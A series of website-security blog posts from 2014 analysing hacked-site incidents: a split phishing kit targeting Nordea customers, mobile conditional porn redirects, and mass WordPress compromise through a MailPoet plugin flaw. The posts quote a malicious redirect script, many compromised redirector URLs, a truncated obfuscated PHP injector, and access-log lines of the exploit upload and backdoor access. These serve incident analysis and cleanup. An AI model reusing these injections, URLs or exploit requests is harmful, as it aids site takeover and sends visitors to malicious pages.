In this case, there are three compromised sites being used to deliver the phishing campaign and it’s becoming very common to see this strategy adopted. The problem, from the bad guy’s point of view, is that if they store all of their campaign components on one site, then they lose all of their work when we come in and clean the website. If they split the components up and place them on multiple sites, with different site owners, then it’s unlikely that all of the sites will be cleaned at one time, which means their scam can continue.

As always with malware, it’s not enough for your site to be clean. You also need to rely on everyone else to keep their own site clean. When others don’t, your computer or website can be put at risk.

If you’re interested in technical notes regarding the type of research we do be sure to follow us on Twitter and be sure to check in with our Lab Notes. If you something interesting you’d like us analyze please don’t hesitate to ping us, we’re always looking for a new challenge.

↧

Is my website hacked? If you have to ask then, “Yes.”

June 17, 2014, 7:32 am

≫ Next: Website Malware – Mobile Redirect to BaDoink Porn App

≪ Previous: Phishing Tale: An Analysis of an Email Phishing Scam

The problem with phishing, and therefore the reason so many people have trouble with it, is that the code is fairly benign and can be very difficult to spot because it usually looks almost exactly like legitimate code. Oftentimes, a website owner won’t know their site is hacked with a phishing scam until site visitors inform them, which is why finding phishing pages can feel like searching for a needle in a haystack.

That’s what makes the following story so instructive.

Many thanks to our own Ben Martin for walking us through the scam (and for cleaning the client’s website).

The Problem

Recently, we cleared malware from a client’s website and our malware removal expert, Ben, found some interesting phishing pages.

Where was the injection located?

It’s in the hacker’s best interest to hide their phishing pages and they’re often able to do so because the code is so benign. They don’t need to run malicious scripts or inject iframes. In this case, the page doesn’t contain any suspicious functions or calls to Russian domains. It just consists of text input fields, a.k.a. normal sorts of code you’d see on any website. The key then is to know what you’re looking for and to do that, you have to think like a hacker.

What are phishing scams attempting?

This is where it becomes important to remember what a phishing scam is normally attempting to do. In many cases, they’re looking for bank records like credit card or debit card numbers, so we kept it simple and searched, “bank,” and look what we found:

See it? The title_netbank.jpg looked suspicious and, interestingly enough, all it took was that one reference in index.htm to the .jpg file to lead us to the phishing pages. We didn’t stop there though. We also dug a little deeper and found an .htaccess file in the directory.

What you’re seeing here are IP addresses that are allowed to view the phishing page. In this case, only those with Danish IP addresses are being redirected to view the page. In this way, the hackers are able to to narrow the scope of their attacks to those who are most likely to enter their bank numbers, while not showing a suspicious page to extra people who may alert the bank or our client to the scam.

Here’s what this specific page looked like. It was being used to redirect customers to something that looked like a Nordea Bank AB user page (Nordea Bank is a financial group operating in Northern Europe). Even if you’ve never heard of Nordea, potential customers based in Northern Europe would have heard of the bank and would have been put at risk.

What did we learn?

The hack we cleaned here isn’t extravagant. It wasn’t obfuscated behind layers and layers of code. In fact, it was relatively simple, which is instructive. Malicious code can affect your website even when its relatively easy to spot. The lesson as always is, if you have a feeling that your site has been compromised, then it probably has been.

↧

Website Malware – Mobile Redirect to BaDoink Porn App

July 9, 2014, 2:04 pm

≫ Next: Massive Malware Infection Breaking WordPress Sites

≪ Previous: Is my website hacked? If you have to ask then, “Yes.”

A few weeks ago we reported that we were seeing a huge increase in the number of web sites compromised with a hidden redirection to pornographic content. It was a very tricky injection, with the redirection happening only once per day per IP address and only if the visitor was using a mobile device (IPhone, Android and a few others).

These types of injections are called conditional redirections because certain conditions need to be met for them to redirect visitors. They are not always present and the malware authors try very hard to hide them from the website owner. The malware code looks for logged in cookies to try to identify whether or not someone is managing the site and then attempts to never redirect someone who is logged in. Finally, if a visitor gets redirected once, the malware will not redirect them again. The goal for the malware author is for visitors to not report something going wrong with a website. In this example, if you were to visit an infected site, you’d be redirected, but from your point of view, maybe it was just something weird so you retype the url and now you aren’t redirected. Since everything is working normally now, you decide not to report it and the malware lives on.

As you can imagine, this sort of malware can be difficult to troubleshoot. In fact, very often webmasters think it’s a typo and move on instead of investigating what happened. For that reason, most sites remain compromised, so if anyone ever complains that your site redirecting to “instabang.com” or a Badoink Porn App, it is very likely your site is hacked.

For more details on our previous analysis, you can visit our previous post, about malicious redirections to porn websites on mobile devices

Technical Analysis – New range of injections

Initially, this injection was happening through hidden forms that were automatically submitted via javascript upon page load. This last version of the malware has been modified. Now, it’s using javascript to force a redirection to a secondary landing page. This is the javascript code:

<script>top.location.replace("httx://www.1strateannuities.com/199c99c6d718c7b222eaa1a5fabd2467.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102″);

As you can see, it uses “top.location.replace” to send the user to another compromised domain (in the case above 1strateannuities.com), where it then sends the user to http://ads.mobiteasy.com/mr/?id=SRV0102.

Once there, it decides where to redirect the user, which is often to either the BaDoink porn app or to instabang. Just in the last few days, these were the sites misused as the initial redirection vector:

http://www.1strateannuities.com/199c99c6d718c7b222eaa1a5fabd2467.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102");

http://www.1strateannuities.com/199c99c6d718c7b222eaa1a5fabd2467.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102


http://www.2013foundations.com/22ab9c9bdeae7b074719eca789ea3397.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102


http://medicalhospitalitygroup.com/28d8e465d7d573b25255f5d56750faef.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102


http://www.10dayssold.com/3615ccfb9d6365cf44b9b34a941ccaf4.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102


http://www.10k-cash.com/3f7c4df28646c8fd08285cfbd8ba3cee.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102


http://sifamuk.com/f3d61b9cc0e63a87dccf63754bdd2dd6.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102


http://www.10dayweightlosschallenge.com/276f2bb01190a423ec7b9ca7d8e9fad0.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102


http://robbiehoucek.com/83b028352b34c11fb2cddff566c9fd8a.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102


http://urbanincubation.com/d275d964cd71fc4c8f0963450b6958a0.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102http://testx2.vladogeorgiev.com/7a9ca9045edbb37f0eaa13cd3f6071d0.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102


http://knoxvillewaterfirerestoration.com/3cef451625a50c08bff223372895dd33.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102


http://sorianoproperties.com/22ffc02b577e6d1fa21813e208417d14.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102


http://riverstonefitness.com/ca785b5cbf87edf65e02423cb2d36e67.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102


http://sportsbettorz.com/4c9269300f2a7ed6c8e7a1db7f7cae09.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102


http://roofingservicesct.com/489219955adc40fc371fc60d230cc583.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102


http://pinkyoda.com/f8c07d6deddf8d43360860efa140da44.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102


http://quemooono.com/8c6d28f83c82058736543b0cb6905045.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102

Removing the Porn Redirection

Shameless Plug: If you have used SiteCheck and notice the issue I mentioned above – showing dirty then clean or not showing at all – have no fear, this does happen from time to time. It’s how the scanner works. Rest assured though, our team is able to address the issue and our internal scanners will catch the issue outright once configured.

If you’re not sure if you’ve been hacked, we’d recommend asking a couple of friends, who aren’t affiliated with your site and haven’t visited it in a while, to visit your url. As well, make sure you understand the symptoms of malware. In this case, if something feels off, then something is probably wrong and your site could be at risk. If that’s the case, our team can help.

To address the issue yourself, make sure to investigate in these locations:

/index.php
/wp-config.php (if using WordPRess)
/configuration.php (if using Joomla)
/wp-content/themes/yourtheme/functions.php (if using WordPress)

These are the 4 places where we see this injection being added. Note that it is highly encoded, and that you will have to look for any line that looks out of place. In most cases, it’s probably best to engage your developer for help.

Remember, the issue at the surface – the infection – is only the tip of the iceberg. If your website is infected you have to assume that the attackers have penetrated your defenses and have added controls that will allow them to continue to penetrate your environment so be sure to look for backdoors.

If you’re sick of reading about new malware incursions every single week, just know that there is money for the bad guys in malware of all kinds. You can protect your site from hard to detect problems, like conditional redirects, without ever having to worry that you’ve been attacked by adding firewall protection, like our own CloudProxy Firewall.

If you have any questions about this redirect or anything else, let us know. You can also engage us on Twitter at Sucuri Security or Sucuri Labs.

↧

Massive Malware Infection Breaking WordPress Sites

July 22, 2014, 8:40 am

≫ Next: MailPoet Vulnerability Exploited in the Wild – Breaking Thousands of WordPress Sites

≪ Previous: Website Malware – Mobile Redirect to BaDoink Porn App

Update: We identified the root cause: MailPoet Vulnerability Exploited in the Wild – Breaking Thousands of WordPress Sites

The last few days has brought about a massive influx of broken WordPress websites. What makes it so unique is that the malicious payload is being blindly injected which is causing websites to break. While we’re still researching, we do want to share share some observations:

This infection is aimed at websites built on the popular WordPress CMS
It is targeting sites with outdated (vulnerable) plugins or weak admin passwords.
Malware is highly obfuscated and attempts to inject SPAM to the hacked website

There is, however, one very unpleasant impact of this infection. The infector PHP code is buggy and it is corrupting legitimate website files. It is targeting not only the core WordPress files, but also theme and plugins files. The result are various PHP errors being displayed instead of the normal site content. If you see this error on your site:

Parse error: syntax error, unexpected ‘)’ in /home/user/public_html/site/wp-config.php on line 91

It means your site is likely hacked. Our sitecheck scanner will warn of this error as well:

The only known solution (after removal of injected malware)is restoring these corrupted files from the backup. If you are curious about the malware injection, this is what it looks like (randomly generated):

<?php $pblquldqei = ‘5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%xq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q7825)3of:opjudovg<~%x5c%x7824!%x5c%x782421787825!|!*!***b%x5c%x7825)…

We’ll continue the investigation and will provide more details as they become available. If you suspect you have been impacted by this infection rest assured that our team is ready and actively cleaning this mess up on all websites.

↧

MailPoet Vulnerability Exploited in the Wild – Breaking Thousands of WordPress Sites

July 23, 2014, 8:29 am

≫ Next: Conditional Malicious iFrame Targeting WordPress Web Sites

≪ Previous: Massive Malware Infection Breaking WordPress Sites

A few weeks ago we found and disclosed a serious vulnerability on the MailPoet WordPress Plugin. We urged everyone to upgrade their sites immediately due to the severity of the issue. The vulnerability allowed an attacker to inject anything they wanted on the site, which could be used for malware injections, defacement, spam and many more nefarious acts.

This is not something we’re excited to report, but we were right.

A few days ago we started to see a massive number of WordPress sites compromised with malware. The malware code had some bugs, it was breaking many websites, overwriting good files and appending various statements in loops at the end of files.

At the time of the post, the root cause of the malware injections was a bit of a mystery. After a frantic 72 hours, we are confirming that the attack vector for these compromises is the MailPoet vulnerability. To be clear, the MailPoet vulnerability is the entry point, it doesn’t mean your website has to have it enabled or that you have it on the website; if it resides on the server, in a neighboring website, it can still affect your website.

All the hacked sites were either using MailPoet or had it installed on another sites within the same shared account (cross-contamination still matters).

Exploited in the Wild

The attacks always start the same, with the attackers trying to upload a custom (and malicious) theme to the site:

194.79.195.139 - - [05/Jul/2014:01:41:30 -0700] "POST /wp-admin/admin-post.php?page=wysija_campaigns&action=themes HTTP/1.0" 302 - "http://site.com.com/wp-admin/admin.php?page=wysija_campaigns&id=1&action=editTemplate" "Mozilla/5.0"

Once they succeed, they upload the malicious theme, they access their backdoor inside /wp-content/uploads/wysija/themes/mailp/:

194.79.195.139 - - [05/Jul/2014:01:41:31 -0700] "GET /wp-content/uploads/wysija/themes/mailp/index.php HTTP/1.1" 200 12 "Mozilla/5.0"
194.79.195.139 - - [05/Jul/2014:04:08:16 -0700] "GET /wp-content/uploads/wysija/themes/mailp/index.php?cookie=1 HTTP/1.0" 200 12 "-" "Mozilla/5.0 (Windows)"

They get full control of the site.

The Backdoor is very nasty and creates an admin user called 1001001. It also injects a backdoor code to all theme/core files. The biggest issue with this injection is that it often overwrites good files, making very hard to recover without a good backup in place.

So if you see this error on a site:

Parse error: syntax error, unexpected ')' in /home/user/public_html/site/wp-config.php on line 91

It means it was likely hacked through this vulnerability.

Mass Infections

MailPoet is a very popular plugin with almost 2 million downloads, so as you can expect, when such severe vulnerability is identified, it can be mass exploited.

This is the total number of hacked sites that we were able to identify so far (per day):

Sucuri-MailPoet-Infections

This is based on sites scanned on our free sitecheck scanner. The number of hacked sites is likely much bigger.

Upgrade Mailpoet!

If you are running MailPoet, we recommend upgrading it asap to the latest version. Users of our Website Firewall (CloudProxy) have been protected against this threat since day 0. However, if you do not have a firewall (WAF) on your website, you have to upgrade the plugin or remove it altogether to avoid more issues.

↧